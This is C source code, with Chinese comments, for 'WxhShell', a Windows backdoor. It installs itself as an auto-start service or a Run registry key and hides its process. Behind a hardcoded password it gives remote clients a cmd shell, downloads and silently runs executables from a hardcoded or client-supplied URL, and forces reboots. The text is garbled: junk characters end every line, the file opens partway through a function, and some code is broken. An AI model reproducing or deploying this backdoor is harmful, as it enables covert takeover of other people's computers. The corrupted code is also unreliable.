    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :{i$2\DH6  
    if(Boot(SHUTDOWN)) bqQO E4;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {.3  
    else { @Gn?8Ur%  
    closesocket(wsh); 7?!Z+r  
    ExitThread(0); -Xxu/U})%  
    } <\d|=>;  
    break; *&dW\fx  
    } q]i(CaKh  
  // 获取shell P 5qa:<  
  case 's': { 9oz(=R  
    CmdShell(wsh); NBqV0>vR  
    closesocket(wsh); gAr`hXO  
    ExitThread(0); |;.Pj 3)-  
    break; q 5v?`c  
  } *)`kx   
  // 退出 :m++ iR  
  case 'x': { TcKvSdr'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `zzKD2y  
    CloseIt(wsh); NrJ_6sjF0g  
    break; Y7kb1UG  
    } BU]WN7]D$  
  // 离开 *bxJ)9B  
  case 'q': { }6CXJ+-UR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N;x<| %peL  
    closesocket(wsh); .qIy7_^  
    WSACleanup(); 6_%]\37_Z  
    exit(1); 2l)9Lz=;L  
    break; 7edPH3  
        } G_^iR-  
  } ^YG7dd_  
  } 5&?KW)6 Rz  
q M_/  
  // 提示信息 ne"?90~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x!C8?K =|  
}  M<Wn]}7!  
  } .@i0U  
]~prR?  
  return; Y%fVt|  
} 1qLl^DW  
aVQSN  
// shell模块句柄 xI@$aTGq  
int CmdShell(SOCKET sock) A{aw< P|+  
{ (aJP: ^  
STARTUPINFO si; b'7z DZI]  
ZeroMemory(&si,sizeof(si)); |k`f/*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z&dr0w8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \o:ELa HY  
PROCESS_INFORMATION ProcessInfo; \]T=j#.S$  
char cmdline[]="cmd"; fou_/Nrue  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SE;Tujwhqi  
  return 0; {K45~ha9!m  
} _(oP{w gB  
vv2vW=\  
// 自身启动模式 W,HH *!  
int StartFromService(void) Z;GIlgK9  
{ X-)RU?  
typedef struct fO^e+M z  
{ cBLR#Yu;O5  
  DWORD ExitStatus; IpWy)B>Fl3  
  DWORD PebBaseAddress; {Ax)[<i  
  DWORD AffinityMask; 'dIX=/RZ  
  DWORD BasePriority; v[{8G^Z}54  
  ULONG UniqueProcessId; 0%xR<<gir  
  ULONG InheritedFromUniqueProcessId; 3XeXzPj  
}   PROCESS_BASIC_INFORMATION; 9;0V  /y  
KE/-VjZu  
PROCNTQSIP NtQueryInformationProcess; ?$|uT  
W\@?e32  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N5 SLF4R1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >~I xyQp  
gppBFS  
  HANDLE             hProcess; bp]^EVx  
  PROCESS_BASIC_INFORMATION pbi; t&GA6ML#s  
Iv$:`7|crX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q&XCX$N  
  if(NULL == hInst ) return 0; M.ZEqV+k  
jWH{;V&ZV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f^W[; w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E?30J3S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1Pk mg%+  
iNod</+"K  
  if (!NtQueryInformationProcess) return 0; AbUDn\0$  
)7&42>t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {&2$[g=[ ^  
  if(!hProcess) return 0; uY^v"cw/F  
_:35d1[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g .64Id  
D JLiZS  
  CloseHandle(hProcess); vkd[: CC  
B4]AFRI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , CJAzGBS  
if(hProcess==NULL) return 0; 4. 1rJa  
[YC=d1F5  
HMODULE hMod; 9$7&URwSDI  
char procName[255]; Ts|--,  
unsigned long cbNeeded; tHrK~|  
}.0Bl&\UK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^)&Ly_xrU  
A <4_DVd@@  
  CloseHandle(hProcess); p"Ot5!F >  
Jy \2I{I'  
if(strstr(procName,"services")) return 1; // 以服务启动 G 9DJa_]X  
9 YP*f  
  return 0; // 注册表启动 Ho 3dsh)  
} duX0Mc. 0P  
M]}l^ m>L  
// 主模块 2Y400  
int StartWxhshell(LPSTR lpCmdLine) >(hSW~i~  
{ N>+P WE$  
  SOCKET wsl; S8 :"<B)  
BOOL val=TRUE; &J8 Z@^  
  int port=0; hf;S]8|F  
  struct sockaddr_in door; Q*]$)D3n  
YiD-F7hf.*  
  if(wscfg.ws_autoins) Install(); ]JOephX2R  
k*5'L<&  
port=atoi(lpCmdLine); 24#bMt#^  
!Citzor  
if(port<=0) port=wscfg.ws_port; Ls&+XlrX8  
JkZ50L  
  WSADATA data; 25UYOK}!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _eGT2,D5r  
R)ERx z#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w{pUUo:<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <lUOJV{&\  
  door.sin_family = AF_INET; ujU=JlJ7dl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g %f*ofb  
  door.sin_port = htons(port); &J_Z~^   
vu=me?m?(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _w 5RK(  
closesocket(wsl); g%ubvu2t]  
return 1; Ab/j(xr=  
} W+_RhJ  
{9L5Q  
  if(listen(wsl,2) == INVALID_SOCKET) { CdY8 #+"  
closesocket(wsl); ]<1HM"D  
return 1; oizT-8i@N  
} c! @F  
  Wxhshell(wsl); U#bl=%bF  
  WSACleanup(); #O"  
["}A S:  
return 0; P''X_1oMC  
+noZ<KFW "  
} S=' wJ@?;  
Ht#@'x  
// 以NT服务方式启动 Cezh l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oK2pM18  
{ &uv0G'"\  
DWORD   status = 0; Z%m-HE:k  
  DWORD   specificError = 0xfffffff; p~K9 B-D  
+iy7e6P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ` @8`qXg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X APYpBgm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~4\,&HH  
  serviceStatus.dwWin32ExitCode     = 0; P"1 S$oc  
  serviceStatus.dwServiceSpecificExitCode = 0; [8"ojhdV  
  serviceStatus.dwCheckPoint       = 0; #Z\ O}<  
  serviceStatus.dwWaitHint       = 0; Cp#)wxi6[y  
A3HF,EG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {XgnZ`*  
  if (hServiceStatusHandle==0) return; 5o#Yt  
FW8-'~  
status = GetLastError(); rz%<AF Z  
  if (status!=NO_ERROR) \ p4*$  
{ -?<4Og[^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V >Hf9sZ  
    serviceStatus.dwCheckPoint       = 0; ;#TaZN  
    serviceStatus.dwWaitHint       = 0; l?/Y  
    serviceStatus.dwWin32ExitCode     = status; !Vheq3"q/  
    serviceStatus.dwServiceSpecificExitCode = specificError; -I":Z2.fR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C9qJP^F  
    return; 3NIUW!gr  
  } +R6a}d/K  
n-o3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DdSSd@,x*  
  serviceStatus.dwCheckPoint       = 0; |9Yi7.  
  serviceStatus.dwWaitHint       = 0; `Gd$:qV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !g>.i`  
} ]u#JuX  
&.Q8Mi aT  
// 处理NT服务事件,比如:启动、停止 ymWgf 6r<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;;Ds  
{ {fV}gR2  
switch(fdwControl) :m'+tGs  
{ vMla'5|l  
case SERVICE_CONTROL_STOP: NOt@M  
  serviceStatus.dwWin32ExitCode = 0; iWE)<h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Xz&}QA  
  serviceStatus.dwCheckPoint   = 0; 5l DFp9  
  serviceStatus.dwWaitHint     = 0; ]XeO0Y  
  { C5W>W4EM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b.F^vv"]]  
  } :?Y$bX}a  
  return; 5\Fz!  
case SERVICE_CONTROL_PAUSE: {_#yz\j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hXn3,3f3oZ  
  break; YE}s  
case SERVICE_CONTROL_CONTINUE: 4=Gph  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uS+k^ #  
  break; J:j<"uPm  
case SERVICE_CONTROL_INTERROGATE: F7MzCZvu  
  break; ]XA4;7  
}; ,FZT~?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 06*rWu9P3  
} `zpbnxOL$T  
^YvB9XN  
// 标准应用程序主函数 Q;u SWt<{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DJ@|QQ  
{ 7v7G[n  
_:`!DIz~9}  
// 获取操作系统版本 CO?Xt+1hR  
OsIsNt=GetOsVer(); Y+~g\z-]c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x9W(cKB'S  
/mM2M-  
  // 从命令行安装 O 5 Nb  
  if(strpbrk(lpCmdLine,"iI")) Install(); }(XdB:C8  
kJQ#Wz|z]  
  // 下载执行文件 j' 0r'  
if(wscfg.ws_downexe) { ?7MqeR4/E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =Gk/k}1  
  WinExec(wscfg.ws_filenam,SW_HIDE); &~e$:8 +  
} 27F~(!n  
Yw; D:Y(  
if(!OsIsNt) { ww k PF  
// 如果时win9x,隐藏进程并且设置为注册表启动 KvPX=/&Zu  
HideProc(); up '  
StartWxhshell(lpCmdLine); $ (=~r`O+1  
} }!>=|1 fY  
else &PWB,BXv  
  if(StartFromService()) <plC_{Y:wu  
  // 以服务方式启动 D]s]"QQ8  
  StartServiceCtrlDispatcher(DispatchTable); M$Zo.Bl$(  
else U`|0 jJ  
  // 普通方式启动 WQNE2Q  
  StartWxhshell(lpCmdLine); Xjio Z  
q .4A(,  
return 0; x35cW7R}T_  
} LPYbHo3fq  
E\nv~Y?SG  
X>YsQrK(ig  
JwnQ0 e  
=========================================== X[gn+6WB%  
L6Wt3U`l  
dsx]/49<  
BvrB:%_:  
fF vF\  
CzCQFqXI  
" xVL5'y1g B  
)vg5((C  
#include <stdio.h> Mb1t:Xf^g  
#include <string.h> KOz(TZ?u  
#include <windows.h> 8X|r4otn4  
#include <winsock2.h> vIl+#9L0  
#include <winsvc.h> so$(_W3E,  
#include <urlmon.h> S& #U!#@  
((tv2  
#pragma comment (lib, "Ws2_32.lib") z7M_1%DEx  
#pragma comment (lib, "urlmon.lib") 7pA /   
2QpHvsl_  
#define MAX_USER   100 // 最大客户端连接数 hI?sOR!  
#define BUF_SOCK   200 // sock buffer ~9)"!   
#define KEY_BUFF   255 // 输入 buffer fb~=Y$|  
p[lNy{u~M  
#define REBOOT     0   // 重启 $;M:TpX  
#define SHUTDOWN   1   // 关机 dz [!-M  
r0d35  
#define DEF_PORT   5000 // 监听端口 ~_IHaw$hg  
RB* J=  
#define REG_LEN     16   // 注册表键长度 /2EHv.e `  
#define SVC_LEN     80   // NT服务名长度 1i:|3PA~  
%CUGm$nH  
// 从dll定义API 'I;!pUfVp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); km^^T_ M/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]lw|pvtd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n+lOb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yme^b ;a  
{!|}=45Z  
// wxhshell配置信息 DrnJ;Hi"  
struct WSCFG { m-^ 8W[r+_  
  int ws_port;         // 监听端口 Y)N-V ]5L  
  char ws_passstr[REG_LEN]; // 口令 o&AM2U/?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ac kqH+'  
  char ws_regname[REG_LEN]; // 注册表键名 P`s  
  char ws_svcname[REG_LEN]; // 服务名 "s!7dKXI"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kr$ b^"Ku  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jdE5~a+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -C(b,F%%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9% l%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'XY`(3q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [.RO'>2z  
)o-Q!<*1  
}; t#%R q  
'>$]{vQ3  
// default Wxhshell configuration E0%~! b  
struct WSCFG wscfg={DEF_PORT, s&\I=J.  
    "xuhuanlingzhe", B+^(ktZp@  
    1, \AL f$88>@  
    "Wxhshell", h~{aGo  
    "Wxhshell", N]KxAttt  
            "WxhShell Service", [,2|Flf e  
    "Wrsky Windows CmdShell Service", it]E-^2>  
    "Please Input Your Password: ", S= _vv)6+4  
  1, 2z\zh[(w  
  "http://www.wrsky.com/wxhshell.exe", z'uK3ng\hH  
  "Wxhshell.exe" HB Iip?  
    }; l;y7]DO  
>.dWjb6t  
// 消息定义模块 vSi_t K4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K'K2X-E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EkGQ(fZ1|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tmqY2.   
char *msg_ws_ext="\n\rExit."; v1a6?-  
char *msg_ws_end="\n\rQuit."; 8,0YD#x  
char *msg_ws_boot="\n\rReboot..."; It2" x;  
char *msg_ws_poff="\n\rShutdown..."; u,}{I}x_  
char *msg_ws_down="\n\rSave to "; Us+pc^A  
J'N!Omz  
char *msg_ws_err="\n\rErr!"; sdQkT#%y  
char *msg_ws_ok="\n\rOK!"; ]4;PR("aU  
}$bF 5&  
char ExeFile[MAX_PATH]; <dW]\h?)  
int nUser = 0; JyR/1 W  
HANDLE handles[MAX_USER]; sKlDu  
int OsIsNt; ooUk O  
N^Bo .U0\  
SERVICE_STATUS       serviceStatus; n_3O-X(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2tal  
^pJ!isuqu  
// 函数声明 `7/Y@}n  
int Install(void); hWH:wB  
int Uninstall(void); :1Q!$  m  
int DownloadFile(char *sURL, SOCKET wsh); z{Mr$%'EY  
int Boot(int flag); [o F|s-"9!  
void HideProc(void); i hh/sPi  
int GetOsVer(void); .BFYY13H  
int Wxhshell(SOCKET wsl); Ok n(pJ0  
void TalkWithClient(void *cs); 2Ry1b+\  
int CmdShell(SOCKET sock); &3yD_P_3  
int StartFromService(void); %/9 EORdeH  
int StartWxhshell(LPSTR lpCmdLine); v@e~k-#  
gUeuUj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'uq#ai[5I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4.IU!.Uo  
Bdj%hyW  
// 数据结构和表定义 Y(44pA&oN  
SERVICE_TABLE_ENTRY DispatchTable[] = x' .:&z  
{ -!c"k}N=  
{wscfg.ws_svcname, NTServiceMain}, u%.$BD Hg  
{NULL, NULL} 0{#8',*}m?  
}; ezPz<iZ\N  
v%fu  
// 自我安装 $V1;la!  
int Install(void) K~22\G`  
{ 6 ND`l5  
  char svExeFile[MAX_PATH]; 2 !'A:;  
  HKEY key; V*W;OiE_ 3  
  strcpy(svExeFile,ExeFile); 3>Y 6)  
gks{\H]  
// 如果是win9x系统,修改注册表设为自启动 CZ nOui  
if(!OsIsNt) { $z+8<?YD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cK 06]-Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =b/L?dR.-  
  RegCloseKey(key); -&<Whhs.@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A'2w>8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a{[x4d,z  
  RegCloseKey(key); 6P';DB  
  return 0; U^Xm)lL  
    } )HX|S-qRU=  
  } YfRkwKjy(  
} /{|fyKo\?  
else { F$[ U|%*  
o`Ta("9^  
// 如果是NT以上系统,安装为系统服务 rD*sl}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y K"kEA[;  
if (schSCManager!=0) %Qj;,#z  
{ %Q.&ZhB  
  SC_HANDLE schService = CreateService ZcaX'5} !S  
  ( 4fe7U=#;Y  
  schSCManager, Fy.\7CL>  
  wscfg.ws_svcname, 9~l hsH  
  wscfg.ws_svcdisp, _U/!4A  
  SERVICE_ALL_ACCESS, EOm:!D\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h(5P(`M  
  SERVICE_AUTO_START, 8O Soel  
  SERVICE_ERROR_NORMAL, -=(!g&0  
  svExeFile, Kw#i),M  
  NULL, 7^g&)P  
  NULL, x:QgjK  
  NULL, ;$z$@@WC  
  NULL, P LueVz  
  NULL uV=Qp1~  
  ); v'BZs   
  if (schService!=0) nB!&Zq  
  { $#]]K  
  CloseServiceHandle(schService); L: z?Zt)|  
  CloseServiceHandle(schSCManager); r fq;%C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +=:#wzK@  
  strcat(svExeFile,wscfg.ws_svcname); Z.M,NR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lv]hTH 4T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Op_RzZP`  
  RegCloseKey(key); H=\3Jj(4  
  return 0; I}t#%/'YA  
    } ?yj6CL(,  
  } K3=3~uY  
  CloseServiceHandle(schSCManager); f/V 2f].  
} 7P9=)$(EH  
} 1Uqu> '  
,dx3zBI  
return 1; PK"c4>q  
} w08?DD]CDt  
C[%OkPR,H  
// 自我卸载 V<j.xd7  
int Uninstall(void) #H0dZ.$b0  
{ 65Cg]Dt71  
  HKEY key; R%'^gFk 8  
[3@):8  
if(!OsIsNt) { A$w4PVS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !U5Wr+83  
  RegDeleteValue(key,wscfg.ws_regname); ,%)6jYHRw  
  RegCloseKey(key); T,VY.ep/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &cu lbcz  
  RegDeleteValue(key,wscfg.ws_regname); )4&cph';  
  RegCloseKey(key); -UD\;D?$  
  return 0; qv@$ZLR  
  } ; k)@DX  
} 3:C oZ  
} *Q,0W:~-  
else { z-b*D}&  
K=,F#kn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); et }T %~T  
if (schSCManager!=0) GxKqD;;u?=  
{ ]Ei0d8Uo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @U2qD  J6  
  if (schService!=0) B4mR9HMh  
  { V,G|k!!  
  if(DeleteService(schService)!=0) { QPfc(Z  
  CloseServiceHandle(schService); ^6_Cc  
  CloseServiceHandle(schSCManager); dX)GPC-D7  
  return 0; PZ*pQ=`  
  } %b"\bHH  
  CloseServiceHandle(schService); Mv6 -|O  
  } dS<C@(  
  CloseServiceHandle(schSCManager); E~_]Lfs)  
} E8~}PQW:I  
} G;~V  
Lg+G; W  
return 1; 4Z/Q=Mq2  
} l'TWkQ-  
\xS&v7b  
// 从指定url下载文件 ]~E0gsq  
int DownloadFile(char *sURL, SOCKET wsh) ivW(*c  
{ Sx8OhUyux  
  HRESULT hr; aG 92ay  
char seps[]= "/"; afb+GA!  
char *token; Q !(pE&  
char *file; (owrdPT!  
char myURL[MAX_PATH]; !OuWPH. :  
char myFILE[MAX_PATH]; &Y^WP?HS  
yfC^x%d7G  
strcpy(myURL,sURL); 1hziXC0WY  
  token=strtok(myURL,seps); th&[Nt7  
  while(token!=NULL) P [k$vD  
  { T"0,r $3:  
    file=token; L_K=g_]  
  token=strtok(NULL,seps); }sOwp}FV8X  
  } <,>P0tY}  
H(&4[%;MP  
GetCurrentDirectory(MAX_PATH,myFILE); aM$W*- Y  
strcat(myFILE, "\\"); 6MxKl D7kl  
strcat(myFILE, file); Yl.0aS  
  send(wsh,myFILE,strlen(myFILE),0); npNB{J[  
send(wsh,"...",3,0); /*c\qXA5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); as>L[jyG/  
  if(hr==S_OK) C,.Ee3T  
return 0;  1"e)5xI  
else .fdL&z  
return 1; _X'"w|0  
PfZ+PqS  
} ?:L:EW8  
mb!9&&2 -t  
// 系统电源模块 U\sHx68  
int Boot(int flag) = hN !;7G  
{ }ga@/>Sl&  
  HANDLE hToken; S*,rGCt'T  
  TOKEN_PRIVILEGES tkp; w#g#8o>'  
X 51Yfr  
  if(OsIsNt) { iT)z_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HuV J\%.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R%c SJ8O#  
    tkp.PrivilegeCount = 1; XB_B4X1R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //4Xq8y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u3o#{~E/#  
if(flag==REBOOT) { _Y[jyD1>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KR%{a(V;7  
  return 0; '_$uW&{NI  
} 4NdN< #Lr  
else { !0dNQ[$82  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A+UU~?3y  
  return 0; ?K3(D;5 &i  
} Rv/Bh< t  
  } kWrp1`  
  else { e~"fn*"  
if(flag==REBOOT) { $]q8, N|1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bk+{RN(w  
  return 0; <$hu   
} (k|_J42[  
else { p}<w#p |  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L*x[?x;)@  
  return 0; q/4 [3h  
} E~ a3r]V/  
} YLVPAODY  
Y9`5G%  
return 1; DzheoA-+L'  
} XyOl:>%L!P  
]7rj/l$ u  
// win9x进程隐藏模块 8zBWIi  
void HideProc(void) 3ux0 Jr2yT  
{ :hI@AA>g  
QzAK##9bfa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =dx1/4bZl|  
  if ( hKernel != NULL ) !XzF67  
  { > z^#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  fu9Cx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T =2=k&|  
    FreeLibrary(hKernel); Vy|6E#U  
  } oaK%Ww6~  
t>uN'oCyC  
return; a<h1\ `H7  
} x1BobhU~Zl  
[S@}T zE  
// 获取操作系统版本 0V!l,pg  
int GetOsVer(void) 1DA1N<'  
{ {Ions~cO)  
  OSVERSIONINFO winfo; T_lsGu/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ymNnkFv  
  GetVersionEx(&winfo); NVl [kw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zR32PG>9  
  return 1; yu;SH[{Wi  
  else _kY#D;`:r  
  return 0; W.w)H@]7m  
} r lKlpl  
U`]T~9I  
// 客户端句柄模块 G5FaYL.7  
int Wxhshell(SOCKET wsl) ZKdeB3D  
{ gp-T"l  
  SOCKET wsh; nIvJrAm4k  
  struct sockaddr_in client; Z'k|u4ZC  
  DWORD myID; 5H9r=a  
C -?!S  
  while(nUser<MAX_USER) :#lIx%l  
{ X@|&c]]  
  int nSize=sizeof(client); d O~O |Xsb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fkSwD(  
  if(wsh==INVALID_SOCKET) return 1; ILic.@st  
GAc{l=vT'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0W%@gs5d&  
if(handles[nUser]==0) > MH(0+B*  
  closesocket(wsh); E~kG2x{a  
else _0 m\[t.  
  nUser++; PG]%Bv57  
  } Gx 72  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WW@d:R  
rP(eva  
  return 0; !(t,FYeH  
} ]1gx#y 2  
YKa0H%B(  
// 关闭 socket kHv[H]+v  
void CloseIt(SOCKET wsh) <s@-:;9~  
{ O,.!2wVrN  
closesocket(wsh); I_q~*/<h  
nUser--; ')N{wSM9Ft  
ExitThread(0); :h1pBEiH  
} zW8*EE+,  
Hp|}~xjn  
// 客户端请求句柄 v0Ir#B,[H  
void TalkWithClient(void *cs) ]p!Gt,rYq  
{ -TV?E%r  
cc44R|Kr$$  
  SOCKET wsh=(SOCKET)cs; O6].*25  
  char pwd[SVC_LEN]; 7_# 1Ec|;  
  char cmd[KEY_BUFF]; 4c+$%pq5  
char chr[1]; ^W7X(LQ*+  
int i,j; '>(.%@  
j8K,jZ  
  while (nUser < MAX_USER) { X o{`]  
#*>E*#?t  
if(wscfg.ws_passstr) { ! <WBCclX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6q>+!kXh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [/_+>M  
  //ZeroMemory(pwd,KEY_BUFF); =\t /u  
      i=0; dXn%lJ  
  while(i<SVC_LEN) { 5TUNX^AW  
s9oO%e<  
  // 设置超时 LG]3hz9^9  
  fd_set FdRead; &5t :H 8b  
  struct timeval TimeOut; -xD*tf*  
  FD_ZERO(&FdRead); aV1lJ ;0  
  FD_SET(wsh,&FdRead); Hk7K`9  
  TimeOut.tv_sec=8; -]:G L>b  
  TimeOut.tv_usec=0; 7'N S9|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [\Qr. 2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cubUq5  
\x >65;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O3o: qly!  
  pwd=chr[0]; >ulY7~wUv  
  if(chr[0]==0xd || chr[0]==0xa) { \b*X:3g*  
  pwd=0; ^S#t|rN  
  break; G9g6.8*&  
  } },[;O^Do^{  
  i++; Pj?Dmk~   
    }  st 'D  
gf)t)-E  
  // 如果是非法用户,关闭 socket j 6ut}Uq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B%\gkl  
} 5HS~op2n/  
q*)+K9LRk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rbqo"g`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,LOQDIyn  
N]YtLa,t  
while(1) { Jg$xO@.  
_;RVe"tR#  
  ZeroMemory(cmd,KEY_BUFF); {I{:GcS  
$ex!!rqN|  
      // 自动支持客户端 telnet标准   {0YAzZ7  
  j=0; N{d@^Yj  
  while(j<KEY_BUFF) { b @;.F!x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pe&UQ C^  
  cmd[j]=chr[0]; ]=F8p2w?  
  if(chr[0]==0xa || chr[0]==0xd) { fMf&?`V  
  cmd[j]=0; kJ)gP2E  
  break; o0z67(N&g  
  } W2wpcc  
  j++; 4O{Avt7C  
    } nkeI60  
B ?%L  
  // 下载文件 'PWQnt_U  
  if(strstr(cmd,"http://")) { !~-6wN"k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +7}iu/B!9  
  if(DownloadFile(cmd,wsh)) h?,\(KjP#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hF&}lPVtv  
  else MQcr^Y_  
